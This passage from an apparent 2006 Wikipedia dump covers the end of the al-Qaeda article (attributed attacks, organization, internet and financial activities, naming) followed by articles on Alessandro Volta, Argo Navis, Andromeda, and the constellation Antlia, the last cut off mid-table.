Despite the setback with the USS ''The Sullivans'', al-Qaeda succeeded in bombing a U.S. warship in October 2000 with the [[USS Cole bombing]]. [[Germany|German]] police foiled a plot to destroy a [[Notre-Dame de Strasbourg|cathedral]] in [[Strasbourg]], [[France]] in [[December]] [[2000]]. See: [[Strasbourg cathedral bombing plot]]

The most destructive act ascribed to al-Qaeda was the series of attacks in the USA on [[September 11, 2001 attacks|September 11th, 2001]].

Several attacks and attempted attacks since [[September 11]], [[2001]] have been attributed to al-Qaeda. The first of which was the [[Paris embassy attack plot]], which was foiled.
The second of which involved the attempted shoe bomber [[Richard Reid (terrorist)|Richard Reid]], who proclaimed himself a follower of Osama bin Laden, and got close to destroying [[American Airlines]] [[American Airlines Flight 63|Flight 63]].

Other attacks ascribed to al-Qaeda and its affiliates:
*The [[Singapore embassies attack plot]].
*The [[kidnap]]ping and [[murder]] of [[Wall Street Journal]] reporter [[Daniel Pearl]], and numerous bombings in Pakistan.
*The [[El Ghriba synagogue|El Ghriba]] [[Ghriba Synagogue Attack|synagogue bombing]] in [[Djerba]], [[Tunisia]], which killed 21.
*Foiled attacks on Western warships in the [[Strait of Gibraltar]].
*The [[Limburg tanker bombing]].
*A [[November]] [[2002]] [[Kenyan hotel bombing|car bombing]] in [[Mombasa]], [[Kenya]], and an attempt to shoot down an Israeli airliner.
*[[Riyadh Compound Bombings|Bombings of Western compounds]] in Riyadh in May 2003 and other attacks of the [[Insurgency in Saudi Arabia|Saudi insurgency]].
*The [[Istanbul Bombings]] in [[Istanbul]], [[Turkey]], in 2003.

Al-Qaeda has strong alliances with a number of other Islamic militant organizations including the Indonesian Islamic extremist group [[Jemaah Islamiyah]]. That group was responsible for the [[October]] [[2002]] [[Bali bombing]], and the [[2005 Bali bombings]].

Although there have been no identified al-Qaeda attacks within the territory of the United States since the [[September 11, 2001 attacks]], numerous al-Qaeda attacks in the Middle East, Far East, Africa and Europe have caused extensive casualties and turmoil.  In the aftermath of several [[March 11]], [[2004]] [[March 11, 2004 Madrid attacks|attacks on commuter trains in Madrid]], a [[London]] newspaper reported receiving an email from a group affiliated with al-Qaeda, claiming responsibility and a videotape claiming responsibility was also found. The timing of the attacks with the spanish elections, as well as the lack of proof on the real identity of the perpetrators has shed doubt on the al-Qaeda theory behind these attacks.

It is also believed that al-Qaeda was involved in the [[7 July 2005 London bombings]], a series of attacks against mass transit in London which killed 56 people (see [[Mohammad Sidique Khan]]).A statement from a previously unknown group, &quot;The Secret Organization of al-Qaeda in Europe&quot;, claimed responsibility; however, the authenticity of the statement and the group's connection to al-Qaeda has not been independently verified.  The suspected perpetrators have not been definitively linked to al-Qaeda, although the contents of a video tape made by one of the bombers [[Mohammad Sidique Khan]] prior to his death and subsequently sent to [[Al Jazeera]] gives strong credence to an al-Qaeda connection.  An apparently unconnected group attempted to duplicate the attack later that month, but their bombs failed to detonate.

Al-Qaeda is suspected of being involved with the [[2005 Sharm el-Sheikh attacks]] in Egypt. On [[July 23]], [[2005]], a series of suspected car bombs killed about 90 people and wounded over 150. The attack was the deadliest terrorist action in the history of [[Egypt]].

Al-Qaeda is also suspected in the [[November 9]], [[2005]] [[Amman]], [[Jordan]] attacks in which [[2005 Amman bombings|three simultaneous bombings]] occured at [[United States|American]] owned hotels in Amman. The blast killed at least 57 people and injured 120 people. Most of the injured and killed were attending a wedding at the [[Radisson]] Hotel.

==The chain of command==
Though the current structure of al-Qaeda is unknown, information mostly acquired from the defector [[Jamal al-Fadl]] provided American authorities with a rough picture of how the group was organized. While the veracity of the information provided by al-Fadl and the motivation for his cooperation are both disputed, American authorities base much of their current knowledge of al-Qaeda on his testimony.

Bin Laden is the '''[[emir]]''' of al-Qaeda (although originally this role may have been filled by [[Abu Ayoub al-Iraqi]]), advised by a '''shura council''', which consists of senior al-Qaeda members, estimated by Western officials at about twenty to thirty people.

* The '''Military committee''' is responsible for training, weapons acquisition, and planning attacks.
* The '''Money/Business committee''' runs business operations. The travel office provides air tickets and false [[passport]]s. The payroll office pays al-Qaeda members, and the Management office oversees money-making businesses. In the US 911 Commission Report it is estimated that al-Qaeda requires 30,000,000 USD / year to conduct its operation.
* The '''Law committee''' reviews Islamic law and decides if particular courses of action conform to the law.
* The '''Islamic study/fatwah committee''' issues religious edicts, such as an edict in 1998 telling Muslims to kill Americans.
* In the late 1990s there was a publicly known '''Media committee''', which ran the now-defunct newspaper ''Nashrat al Akhbar (Newscast)'' and did [[public relations]]. It is currently assumed that media operations are now outsourced to internally redundant parts of the organization.

==Political revolt or structured terrorist organization: unknown==
Some organizational specialists have said that Al Qaeda's network structure, as opposed to a [[Hierarchical organization|hierarchical structure]] is its primary strength. The decentralized structure enables Al Qaeda to have a worldwide distributed base while retaining a relatively small core. While an estimated 100,000 Islamist militants are said to have received instruction in Al Qaeda camps since its inception, the group is believed to retain only a small number of militants under direct orders. Estimates seldom peg its manpower higher than 20,000 world wide. 

For its most complex operations (such as the 9/11 attacks on the US) all participants, planning and funding are believed to have been directly provided by the core Al Qaeda organisation. But in many attacks around the world where there appears to be an Al Qaeda connection, its precise role has been less easy to define. Rather than handling these operations from conception to delivery, Al Qaeda often appears to act as an international financial and logistical support-network, channelling income obtained from a network of fundraising activities to provide training capital and coordination for local radical groups. In many cases it is these local groups, only loosely affiliated to core Al Qaeda, which actually undertake the attacks. 

The [[2002 Bali bombing]] and subsequent bombing of the Marriott Hotel in Jakarta in 2003 provide some insight into Al Qaeda's decentralized method of operations: the attacks showed far greater coordination and effectiveness than might historically have been expected from regional terrorist networks. But police investigations and subsequent trials showed that while Al Qaeda was believed to have provided expertise and coordination, much of the planning and all the personnel who undertook the attacks came from local radical Islamist groups. 

Al Qaeda has been known to establish and foster new groups to further the radical Islamic interest in local conflicts. Indeed the Taliban might be deemed to fall into this category, the roots of the organisation formed from radicalised students from the Bin-Laden funded medressas of the Afghan refugee camps at the time of the Russian occupation.

==Is al-Qaeda a global network or a small organization?==
Al-Qaeda has no clear structure, and this permits debate as to how many members make up the organization, whether it is millions scattered across the globe, or whether it is even zero. According to the controversial [[BBC]] documentary ''[[The Power of Nightmares]]'', al-Qaeda is so weakly linked together that it is hard to say it exists ''apart from'' [[Osama bin Laden]] and a small clique of close associates. The lack of any significant numbers of convicted al-Qaeda members despite a large number of arrests on terrorism charges is cited by the documentary as a reason to doubt whether a ''widespread'' entity that meets the description of al-Qaeda exists at all. Still, the extent and nature of al-Qaeda remains a topic of dispute.

The al-Qaeda name itself does not seem to have been used by bin Laden himself to apply to his organization until after the [[September 11 attacks]]. Previous attacks attributed to bin Laden and al-Qaeda were, at the time, claimed by organizations under a variety of names. Bin Laden himself has since attributed the al-Qaeda name to the MAK base in Pakistan, dating from the Afghan war days. Daniel Benjamin in &quot;The Age of Sacred Terror&quot; cites an incident in the early 1990s where a document titled &quot;The Foundation&quot;, Arabic &quot;Al-Qa'eda&quot;, was found on an associate of Ramzi Youssef &lt;ref&gt;{{cite web | title=The making of the terror myth | work=Guardian Unlimited | url=http://www.guardian.co.uk/terrorism/story/0,12780,1327904,00.html | accessdate=October 15 | accessyear=2004}}&lt;/ref&gt;. [[Fawaz A. Gerges]] writes that &quot;Although in 1987 sheikh [[Abdullah Azzam]], the spiritual father of the Afghan Arabs, planted the seeds of a transnationalist organization called 'Al Qaeda al-Sulbah' (the Solid Foundation), the bin Laden network saw the light much later, around the mid-1990s.&quot;&lt;ref&gt;{{cite book | author=Gereges, Fawaz A. | title=The Far Enemy: Why Jihad Went Global | publisher=Oxford: Cambridge University Press | year=2005 | page=306 | id=ISBN 0521791405}}&lt;/ref&gt;

Other alleged al-Qaeda leaders include:
* [[Saif al-Adel]]
* [[Sulaiman Abu Ghaith]]
* [[Abu Hafiza]]
* [[Abu Faraj al-Libbi]] (arrested in Pakistan, 2005)&lt;ref&gt;{{cite web | title= Pakistan 'catches al-Qaeda chief' | work=BBC.com | url=http://news.bbc.co.uk/2/hi/south_asia/4512885.stm | accessdate=May 4 | accessyear=2005}}&lt;/ref&gt;
* [[Abu Mohammed al-Masri]]
* [[Khalid Sheikh Mohammed]] (captured in Rawalpindi, Pakistan, in 2003)&lt;ref&gt;{{cite web | title=How mobile phones and an £18m bribe trapped 9/11 mastermind | work=Guardian Unlimited | url=http://www.guardian.co.uk/alqaida/story/0,12469,911860,00.html | accessdate=March 11 | accessyear=2003}}&lt;/ref&gt;
* [[Thirwat Salah Shirhata]]
* [[Abu Musab al-Zarqawi]]
* [[Ayman al-Zawahri]]
* [[Abu Zubaydah]] (captured in 2002)

==Internet activities==
In the wake of its evacuation from Afghanistan, al-Qaeda and its successors have migrated online to escape detection in an atmosphere of increased international vigilance.  As a result, the organization’s use of the Internet has grown more sophisticated, encompassing financing, recruitment, networking, mobilization, publicity, as well as information dissemination, gathering, and sharing.  More than other terrorist organizations, al-Qaeda has embraced the Web for these purposes.  For example, [[Abu Musab al-Zarqawi]]’s al-Qaeda movement in [[Iraq]] regularly releases short videos glorifying the activity of jihadist suicide bombers.  This growing range of multimedia content includes terrorist training clips, stills of victims about to be murdered, testimonials of suicide bombers, and epic-themed videos with high production values that romanticize participation in jihad through stylized portraits of mosques and stirring musical scores.  A website associated with al-Qaeda, for example, posted a video of a man named [[Nick Berg]] being decapitated in Iraq. Other decapitation videos and pictures, including those of [[Paul Johnson (hostage)|Paul Johnson]], [[Kim Sun-il]], and [[Daniel Pearl]], were first posted onto jihadist websites.

With the rise of “locally rooted, globally inspired” terrorists, counterterrorism experts are currently studying how al-Qaeda is using the Internet – through websites, chat rooms, discussion forums, instant messaging, and so on – to inspire a worldwide network of support.  The July 7, 2005 bombers, some of whom were well integrated into their local communities, are an example of such “globally inspired” terrorists, and they reportedly used the Internet to plan and coordinate, but the Internet’s precise role in the process of radicalization is not thoroughly understood.  A group called the Secret Organization of al-Qaeda in Europe has claimed responsibility for these London attacks on a militant Islamist website – another popular use of the Internet by terrorists seeking publicity.  

The publicity opportunities offered by the Internet have been particularly exploited by al-Qaeda.  In December 2004, for example, bin Laden released an audio message by posting it directly to a website, rather than sending a copy to [[al Jazeera]] as he had done in the past.  Some analysts speculated that he did this to be certain it would be available unedited, out of fear that his criticism of Saudi Arabia — which was much more vehement than usual in this speech, lasting over an hour — might be edited out by al Jazeera editors worried about offending the touchy [[Saudi royal family]].

In the past, [[Alneda.com]] and [[Jehad.net]] were perhaps the most significant of al-Qaeda websites. Alneda was initially taken down by an American, but the operators resisted by shifting the site to various servers and strategically changing content.  The US is currently attempting to extradite an IT specialist, Babar Ahmad, from the UK, who is the creator of various English language al-Qaeda websites such as Azzam.com &lt;ref&gt;{{cite web | author=Whitlock, Craig| year=2005| title=Briton Used Internet As His Bully Pulpit | format=http | work=WashingtonPost.com | url=http://www.washingtonpost.com/wp-dyn/content/article/2005/08/07/AR2005080700890.html | accessdate=January 20 | accessyear=2006}}&lt;/ref&gt;&lt;ref&gt;{{cite web | title=Babar Ahmad Indicted on Terrorism Charges | work=United States Attorney's Office District of Connecticut | url=http://www.usdoj.gov/usao/ct/Press2004/20041006.html | accessdate=October 6 | accessyear=2004}}&lt;/ref&gt;. Ahmad's extradition is opposed by various British Muslim organizations, such the [[Muslim Association of Britain]].

Finally, at a mid-2005 presentation for US government terrorism analysts, Dennis Pluchinsky called the global jihadist movement “Web-directed,” and former CIA deputy director John E. McLaughlin has also said it is now primarily driven today by “ideology and the Internet.”

== Financial activities ==
Financial activities of Al-Qaeda have been a major preoccupation of US government following the September 11, 2001 attacks, leading for example to the discovery of former Chilean dictator [[Augusto Pinochet]]'s tax evasion, for which his wife, [[Lucía Hiriart de Pinochet]], has been arrested in January 2006. It was also discovered by investigative reporter [[Denis Robert]] that funds from Osama Ben Laden's [[Bahrain International Bank]] transited through illegal unpublished accounts of &quot;clearing house&quot; [[Clearstream]], which has been qualified as a &quot;bank of banks&quot;.

==Notes on naming==
Al-Qaeda's name can also be [[transliteration|transliterated]] as al-Qaida, al-Qa'ida, el-Qaida, or al Qaeda. In Arabic it is spelled القاعدة. Its [[Arabic language|Arabic]] pronunciation ([[International Phonetic Alphabet|IPA]] {{IPA|/ɛlˈqɑːʕidʌ/}}) can be approximated as IPA {{IPA|/ɛl 'kɑ:-idʌ/}}, which for [[American English]] speakers could be spelled &quot;el-kAW-ee-deh,&quot; with the emphasized &quot;AW&quot; and &quot;ee&quot; clearly separated. However, English speakers more commonly pronounce it in a manner influenced by its spelling - IPA {{IPA|/ɑɫ 'kaɪdɑ/}} for [[American English]], {{IPA|/ɑ:ɫ 'kaɪdɑ:/}} in [[British English]]. [http://ibb7.ibb.gov/pronunciations/sounds/2930.ra Listen to the US pronunciation] ([[RealPlayer]]).

Al-Qaeda has other names, such as:
* International Front for Jihad against the Jews and Crusaders
* [[Islam]]ic [[Army]]
* Islamic Army for the Liberation of the [[Holy]] Places
* Osama bin Laden Network
* Osama bin Laden Organization
* [[Islam]]ic [[Salvation]] Foundation
* The Group for the Preservation of the Holy Sites

==See also==
* [[Al-Qaedaism]]
* [[Clearstream]] through which funds from Osama Ben Laden's [[Bahrain International Bank]] passed. 
* [[Insurgency in Saudi Arabia]]
* [[Jamaat-e-Islami]]
* [[Muttahida Majlis-e-Amal]]
* [[Muslim Brotherhood]]
* [[Egyptian Islamic Jihad]] aka al-Jihad
* [[Terrorist incidents]]
* [[List of alleged al-Qaeda members]]
* [[Ayman al-Zawahiri]]
* [[The Power of Nightmares]]; BBC documentary
* [[Psychological operations]]
* [[Al Barakaat]]
* [[Islamist terrorism]]
* [[Osama bin Laden's Declaration of War]]
* [[Osama tapes]]
* [[Steven Emerson]]
* [[Takfir Wal Hijira]]

==Notes &amp; references==
&lt;references/&gt;

==External links==
*[http://cfrterrorism.org/groups/alqaeda.html Terrorism Q&amp;A]
*[http://www.rewardsforjustice.net/ Rewards for Justice - Most Wanted Terrorists]
*[http://news.bbc.co.uk/1/hi/world/south_asia/1551100.stm Who is Osama Bin Laden?] BBC report
*[http://web.archive.org/web/20050331091340/http://www.usdoj.gov/ag/trainingmanual.htm Al Qaeda Training Manual used by British member of Al Qaeda, Manchester, England] (URL accessed March 2005)
*[http://www.pbs.org/wgbh/pages/frontline/shows/front PBS FRONTLINE &quot;Al Qaeda's New Front&quot; January 2005]
*[http://carlisle-www.army.mil/usawc/Parameters/03spring/thomas.htm Al-Qaida's Internet Activities may cause problems]
*[http://www.intellnet.org/documents/200/060/269.html Al-Qaida history to end of 1998, and explanation of its origins.]
*[http://www.fas.org/irp/world/para/ladin.htm Al-Qaida history up to 11th September 2002, and list of further links.]
*[http://www.janes.com/security/international_security/news/misc/janes010928_1_n.shtml Two accounts of al-Qaida terrorist activities, and background on three mujahideen leaders.]
*Peter Marsden [http://www.bond.org.uk/networker/2003/july03/opinion.htm Does al-Qaida exist?]
*Brendan O'Neill [http://www.spiked-online.com/articles/00000006DFED.htm Does al-Qaida exist?]
*[http://www.guardian.co.uk/afghanistan/story/0,1284,649744,00.html Al-Qaida has been more active in Britain] [http://www.boston.com/news/nation/articles/2003/09/16/cheney_link_of_iraq_911_challenged/ than in Iraq] 
*[http://www.pbs.org/wgbh/pages/frontline/shows/front/special/roots.html PBS FRONTLINE &quot;Identity Crisis: Old Europe Meets New Islam&quot; by Marlena Telvick January 2005.]
*[http://terrorismfiles.org/organisations/al_qaida.html Terrorism files info on al-Qaida]
*[http://usembassy.state.gov/japan/wwwhse0612.html State Department letter with list of countries al-Qaida operates in]
*[http://news.bbc.co.uk/1/hi/programmes/panorama/3519414.stm Who is winning the war?]; BBC; [[21 March]] [[2004]].
*[http://globalguerrillas.typepad.com/globalguerrillas/2004/05/al_qaedas_grand.html &quot;Al Qaeda's Grand Strategy&quot;]; Robb, John -- Superpower &quot;baiting&quot;
*[http://globalguerrillas.typepad.com/globalguerrillas/2004/04/global_guerrill.html &quot;Global Guerrilla Financing&quot;]; Robb, John -- How al Qaeda will finance operations in the future.
*[http://www.theatlantic.com/doc/print/200409/cullison Inside Al-Qaeda's Hard Drive]; Alan Cullison, The Atlantic Monthly, September 2004.
*[http://www.blogger.com/email-post.g?blogID=3463907&amp;postID=109487993311862124 &quot;September 11 and Its Aftermath&quot;] Professor of history Juan Cole explains the al-Qaeda world-view
*[http://www.guardian.co.uk/terrorism/story/0,12780,1327904,00.html The making of the terror myth]; Guardian; [[October 15]] [[2004]]
*[http://news.bbc.co.uk/1/hi/programmes/3755686.stm The Power of Nightmares]; A three-part BBC documentary about the [[War on Terrorism]]
*[http://www.guardian.co.uk/terrorism/story/0,12780,1523838,00.html Comment: The struggle against terrorism cannot be won by military means]; The late British politician Robin Cook's article on defeating al-Qaeda contains a unique theory on how the organisation came to be named; Guardian; [[July 8]] [[2005]]
*[http://memritv.org/Search.asp?ACT=S5&amp;P1=139 Middle East Media Research Institute TV clips]
*Kurt Nimmo [http://kurtnimmo.com/?p=131 Truth about al-CIA-duh (al-Qaeda) the Database]
*John Diamond. [http://72.14.207.104/search?q=cache:uDdRNGwXIbUJ:rssfeeds.usatoday.com/UsatodaycomNation-TopStories%3Fm%3D2013+John+Diamond+Posted+2/14/2006&amp;hl=en&amp;lr=&amp;strip=1 Secret U.S. military campaigns in the Middle East through 'proxies'], [[USA Today]], February 14, 2006.

[[Category:Anti-Semitism]]
[[Category:Al-Qaeda| ]]
[[Category:Islamist groups]]

[[ar:قاعدة (منظمة)]]
[[ca:Al-Qaida]]
[[da:Al-Qaida]]
[[de:Al-Qaida]]
[[eo:Al-Kaida]]
[[es:Al Qaida]]
[[eu:Al-Kaida]]
[[fa:القاعده‌]]
[[fi:Al-Qaida]]
[[fr:Al-Qaida]]
[[fy:Al Kaida]]
[[gl:Al Qaida]]
[[he:אל-קאעידה]]
[[hr:Al-Qaeda]]
[[io:Al-Kaida]]
[[it:Al-Qaida]]
[[ja:アルカーイダ]]
[[ko:알카이다]]
[[ku:El-Qaîde]]
[[la:Alcaeda]]
[[nl:Al Qaida]]
[[nn:Al-Qaida]]
[[no:Al-Qaida]]
[[pl:Al-Kaida]]
[[pt:Al Qaeda]]
[[ro:Al-Qaida]]
[[ru:Аль-Каида]]
[[simple:Al-Qaeda]]
[[sk:Al-Káida]]
[[sl:Al Kaida]]
[[sr:Ал Каида]]
[[sv:Al-Qaida]]
[[vi:Al-Qaeda]]
[[zh:基地組織]]</text>
    </revision>
  </page>
  <page>
    <title>Alessandro Volta</title>
    <id>1923</id>
    <revision>
      <id>41930934</id>
      <timestamp>2006-03-02T18:28:34Z</timestamp>
      <contributor>
        <username>Svencb</username>
        <id>261323</id>
      </contributor>
      <comment>{{Commons|Alessandro Giuseppe Antonio Anastasio Volta}}</comment>
      <text xml:space="preserve">{{Infobox Celebrity
| name        = '''Alessandro Volta'''
| image       = Alex_volta.jpg
| caption     = 
| birth_date  = [[February 18]], [[1745]]
| birth_place = [[Como]], [[Lombardy]],[[Italy]]
| death_date  = [[March 5]], [[1827]]
| death_place = [[Como]], [[Lombardy]],[[Italy]]
| occupation  = [[Physics|Physicist]]
| salary      = 
| networth    = 
| website     =
| footnotes   = 
}}
'''Alessandro Giuseppe Antonio Anastasio Volta''' ([[February 18]], [[1745]] - [[March 5]], [[1827]]) was an [[Italy|Italian]] [[Physics|physicist]] known especially for the development of the [[battery (electricity)|electric battery]] in 1800.  Late in life, he received the title of [[Count]]. 

==Biography==
Volta was born and educated in [[Como]], [[Lombardy]] ([[Italy]]), where he became [[professor]] of [[physics]] at the Royal School in [[1774]]. His passion had always been the study of electricity, and still a young student he had even written a poem in [[Latin]] on this fascinating new discovery. ''De vi attractiva ignis electrici ac phaenomenis inde pendentibus'' is his first scientific paper. 

[[Image:Alevoltafoto02.jpg|143px|thumb|left|De vi attractiva ...]]

In [[1775]] he devised the [[electrophorus]], a device that produced a static electric charge. In [[1776]]-[[1777|77]] he studied the [[chemistry]] of [[gas]]es, discovered [[methane]], and devised experiments such as the [[ignition]] of gases by an electric [[spark]] in a closed vessel. In [[1779]] he became professor of physics at the University of [[Pavia]], a chair he occupied for 25 years. In [[1794]] Volta married Teresa Peregrini, daughter of Count Ludovico Peregrini; the couple had three sons. 

In [[1800]], as the result of a professional disagreement over the galvanic response advocated by [[Luigi Galvani]], he developed the so-called [[voltaic pile]], a forerunner of the electric battery, which produced a steady electric current. Volta had determined that the most effective pair of dissimilar metals to produce electricity was [[zinc]] and [[silver]]. Initially he experimented with individual cells in series, each cell being a wine goblet filled with brine into which the two dissimilar electrodes were dipped. The electric pile replaced the goblets with cardboard soaked in brine. (The number of cells, and thus the voltage it could produce, was limited by the pressure, exerted by the upper cells, that would squeeze all of the brine out of the cardboard of the bottom cell.)
[[Image:alessandro_volta2.jpg|right|thumb|160px|Alessandro Giuseppe Antonio Anastasio Volta  portrait.]]

==Honors==
In honor of his work in the field of [[electricity]], [[Napoleon]] made him a [[count]] in [[1810]]; in [[1815]] the [[Emperor]] of [[Austria]] named him a professor of [[philosophy]] at [[Padova]]. 

Volta is buried in the city of [[Como]] in [[Italy]]; the '''Tempio Voltiano''' near [[Lake Como]] is a museum devoted to explaining his work; his original instruments and papers are on display there.  The building appeared, along with his portrait, on Italian 10.000 [[Italian lira|lira]] banknote, before the introduction of the [[euro]].

In [[1881]] an important electrical [[SI derived unit|unit]], the [[volt]], was named in his honor.  [[Volta (crater)|Volta crater]], on the [[Moon]], is also named after him.

==Interesting facts==
Toyota Motor Corp has created a concept vehicle with the name [[Toyota Alessandro Volta|Alessandro Volta]].

== Weblinks ==
{{Commons|Alessandro Giuseppe Antonio Anastasio Volta}}
[[Category:1745 births|Volta]]
[[Category:1827 deaths|Volta]]
[[Category:Italian physicists|Volta]]
[[Category:History of neuroscience|Volta]]
[[Category:Natives of Como|Volta]]

[[ar:ألسندرو فولتا]]
[[bs:Alessandro Volta]]
[[ca:Alessandro Volta]]
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[[de:Alessandro Volta]]
[[et:Alessandro Volta]]
[[es:Alessandro Volta]]
[[eo:Alessandro VOLTA]]
[[fr:Alessandro Volta]]
[[ko:알레산드로 볼타]]
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[[he:אלסנדרו וולטה]]
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[[tr:Alessandro Volta]]</text>
    </revision>
  </page>
  <page>
    <title>Argo Navis</title>
    <id>1924</id>
    <revision>
      <id>32802159</id>
      <timestamp>2005-12-26T21:47:46Z</timestamp>
      <contributor>
        <username>Eskimbot</username>
        <id>477460</id>
      </contributor>
      <minor />
      <comment>robot  Adding: es</comment>
      <text xml:space="preserve">[[Image:Argo-hevelius.jpg|thumb|250px|The constellation Argo Navis drawn by Johannes Hevelius in 1690]]

'''Argo Navis''' (or simply '''Argo''') was a large southern [[constellation]] representing the ''[[Argo]]'', the ship used by [[Jason]] and the [[Argonauts]] in [[Greek mythology]].  The abbreviation was &quot;Arg&quot; and the genitive was &quot;Argūs&quot;.

It is the only one of [[Ptolemy]]'s list of 48 constellations that is no longer officially recognised as a constellation, having been broken up by [[Nicolas Louis de Lacaille]] into [[Carina (constellation)|Carina]] (the keel of the ship), [[Puppis]] (the poop) and [[Vela (constellation)|Vela]] (the sails). Were it still considered a single constellation, it would be the largest of all, being larger than [[Hydra (constellation)|Hydra]].

When Argo Navis was split, its [[Bayer designation]]s were also split. Carina has the &amp;alpha; and &amp;beta;, Vela has &amp;gamma; and &amp;delta;, Carina has &amp;epsilon;, Puppis has &amp;zeta;, and so on.

The constellation [[Pyxis]] (the compass) occupies an area which in antiquity was considered part of Argo's mast. But Pyxis is not usually considered part of Argo Navis, and in particular its Bayer designations are separate from those of Carina, Puppis and Vela.

==See also==
[[Asterism (astronomy)]]

{{ConstellationsListedByPtolemy}}
{{ConstellationsNLDLAltered}}

[[Category:Argo Navis constellation|*]]

[[de:Schiff Argo (Sternbild)]]
[[es:Argo Navis]]
[[fr:Navire Argo (constellation)]]
[[ko:아르고자리]]
[[it:Argo Navis]]
[[nl:Schip Argo]]
[[ja:アルゴ座]]
[[pl:Argo (gwiazdozbiór)]]
[[pt:Argo Navis]]
[[ru:Корабль Арго (созвездие)]]
[[sk:Súhvezdie Loď Argo]]
[[fi:Argo-laiva]]
[[sv:Skeppet Argo]]
[[th:กลุ่มดาวเรืออาร์โก]]</text>
    </revision>
  </page>
  <page>
    <title>Andromeda (mythology)</title>
    <id>1925</id>
    <revision>
      <id>39779098</id>
      <timestamp>2006-02-15T20:44:54Z</timestamp>
      <contributor>
        <username>B00P</username>
        <id>544776</id>
      </contributor>
      <comment>suggested mergefrom</comment>
      <text xml:space="preserve">{{mergeto|Boast of Cassiopeia}}
{{mergefrom|Boast of Cassiopeia}}
:''See [[Andromeda (disambiguation)]] for other uses of &quot;Andromeda&quot;.''

In [[Greek mythology]], '''Andromeda''' (&quot;ruler of men&quot;) was the daughter of [[Cepheus]] and [[Boast of Cassiopeia|Cassiopeia]], king and queen of the [[Ethiopia|Ethiopians]].
[[Image:Paul_Gustave_Dore_Andromeda.jpg|thumb|[[Gustave Doré|Paul Gustave Doré]] painted Andromeda exposed to the sea-monster.]]

Cassiopeia, having boasted herself equal in beauty to the [[Nereids]], drew down the vengeance of [[Poseidon]], who sent an inundation on the land and a sea-monster, which destroyed man and beast. The [[oracle]] of [[Ammon]] announced that no relief would be found until the king exposed his daughter Andromeda to the monster, so she was fastened to a rock on the shore.

[[Perseus (mythology)|Perseus]], returning from having slain the [[Gorgon]], found Andromeda, slew the monster, set her free, and married her in spite of [[Phineus]], to whom she had before been promised. At the wedding a quarrel took place between the rivals, and Phineus was turned to stone by the sight of the Gorgon's head ([[Ovid]], ''[[Metamorphoses (poem)|Metamorphoses]]'' v. 1).

Andromeda followed her husband to [[Tiryns]] in [[Argos]], and became the ancestress of the family of the [[Perseidae]] through Perseus' and Andromeda's son, [[Perses]].  Perseus and Andromeda had six sons ([[Perseides]]): [[Perses]], [[Alcaeus]], [[Heleus]], [[Mestor]], [[Sthenelus]], and [[Electryon]], and one daughter, [[Gorgophone]].  Their descendants ruled Mycenae from [[Electryon]] down to [[Eurystheus]], after whom [[Atreus]] got the kingdom, and include the great hero [[Heracles]]. According to this mythology, Perses is the ancestor of the [[Persians]].

After her death she was placed by [[Athena]] amongst the [[constellation|constellations]] in the northern sky, near Perseus and Cassiopeia. [[Sophocles]] and [[Euripides]] (and in more modern times [[Pierre Corneille|Corneille]]) made the story the subject of tragedies.  The tale is represented in numerous ancient works of art.

Andromeda is represented in the northern sky by the [[constellation]] [[Andromeda (constellation)|Andromeda]] which contains the [[Andromeda Galaxy]].

This event was depicted in a modified version in the [[1981]] [[Film|movie]] ''[[Clash of the Titans]]''.

==Sources==
*[[Apollodorus]], ''[[Bibliotheke]]'' II, iv, 3-5
*[[Ovid]], ''[[Metamorphoses (poem)|Metamorphoses]]'' IV, 668-764. 

[[Category:Greek mythological people]]

[[ca:Andròmeda (mitologia)]]
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[[gl:Andrómeda]]
[[ko:안드로메다]]
[[it:Andromeda (mitologia)]]
[[he:אנדרומדה]]
[[lt:Andromeda (mitologija)]]
[[hu:Androméda]]
[[nl:Andromeda (mythologie)]]
[[ja:アンドロメダ]]
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[[pt:Andrômeda]]
[[ru:Андромеда (мифология)]]
[[sk:Andromeda (mytológia)]]
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[[fi:Andromeda (mytologia)]]
[[sv:Andromeda (mytologi)]]
[[uk:Андромеда]]</text>
    </revision>
  </page>
  <page>
    <title>Antlia</title>
    <id>1926</id>
    <revision>
      <id>39502903</id>
      <timestamp>2006-02-13T23:28:20Z</timestamp>
      <contributor>
        <username>RJHall</username>
        <id>91076</id>
      </contributor>
      <minor />
      <comment>/* Notable and named stars */</comment>
      <text xml:space="preserve">{{Infobox Constellation|
name = Antlia |
abbreviation = Ant |
genitive = Antliae |
symbology = the pump |
RA = 10 |
dec= &amp;minus;30 |
areatotal = 239 |
arearank = 62nd |
numberstars = 0 |
starname = [[Alpha Antliae|&amp;alpha; Ant]] |
starmagnitude = 4.25 |
meteorshowers = None |
bordering =
*[[Hydra (constellation)|Hydra]]
*[[Pyxis]]
*[[Vela (constellation)|Vela]]
*[[Centaurus]] |
latmax = 45 |
latmin = 90 |
month = April |
notes=}}
The [[constellation]] '''Antlia''' ([[Latin]] for ''[[pump]]'') is a relatively new constellation as it was only created in the [[18th century]], being too faint to be acknowledged by the ancient Greeks. The [[International Astronomical Union|IAU]] adopted it as one of the 88 modern constellations. Beginning at the north, Antlia is surrounded by the sea snake [[Hydra (constellation)|Hydra]], the compass [[Pyxis]], the sails ([[Vela (constellation)|Vela]]) of the mythological ship [[Argo]] and finally the centaur [[Centaurus]].

==Notable features==

Antlia is a faint constellation void of bright stars. Its least faint star is:
*[[Alpha Antliae|&amp;alpha; Ant]]: being Antlia's principal star its apparent brightness is still only 4.25 mag. Its spectral class is K4&amp;nbsp;III

==Notable deep sky objects==

*[[NGC 2997]]: [[Spiral galaxy]] of type Sc which is inclined 45° to our line of sight.
*[[NGC 3132]]: This [[planetary nebula]] is also called ''Eight Burst Nebula'' or ''Southern Ring Nebula''. At its heart is a binary system.
*[[PGC 29194]]: This [[dwarf spheroidal galaxy]] with an apparent brightness of only 14.8m belongs to our [[Local Group]] of galaxies. It was only discovered as recently as [[1997]].[http://antwrp.gsfc.nasa.gov/apod/ap970423.html]

==History==

The French astronomer Abbé [[Nicolas Louis de Lacaille]] created 13 constellations for the southern sky to fill some star poor regions, among them Antlia. It was originally denominated ''Antlia pneumatica'' (Latin for the [[air pump]] invented by [[Robert Boyle]]) which is why in English this constellation is also often called Air Pump.

It is interesting to note that no attempt seems to have been made to assign [[Bayer designation|Bayer letters]] according to their apparent brightness.

There is no mythology attached to Antlia as Lacaille discontinued the tradition of giving names from mythology to constellations and instead chose mostly names of instruments used in science.

==Notable and named stars==
{| class=&quot;wikitable&quot;
|-
! [[Bayer designation|BD]]
! Names and other designations
! [[apparent magnitude|Mag.]]
! [[Light year|Ly]] away
! Comments
|-
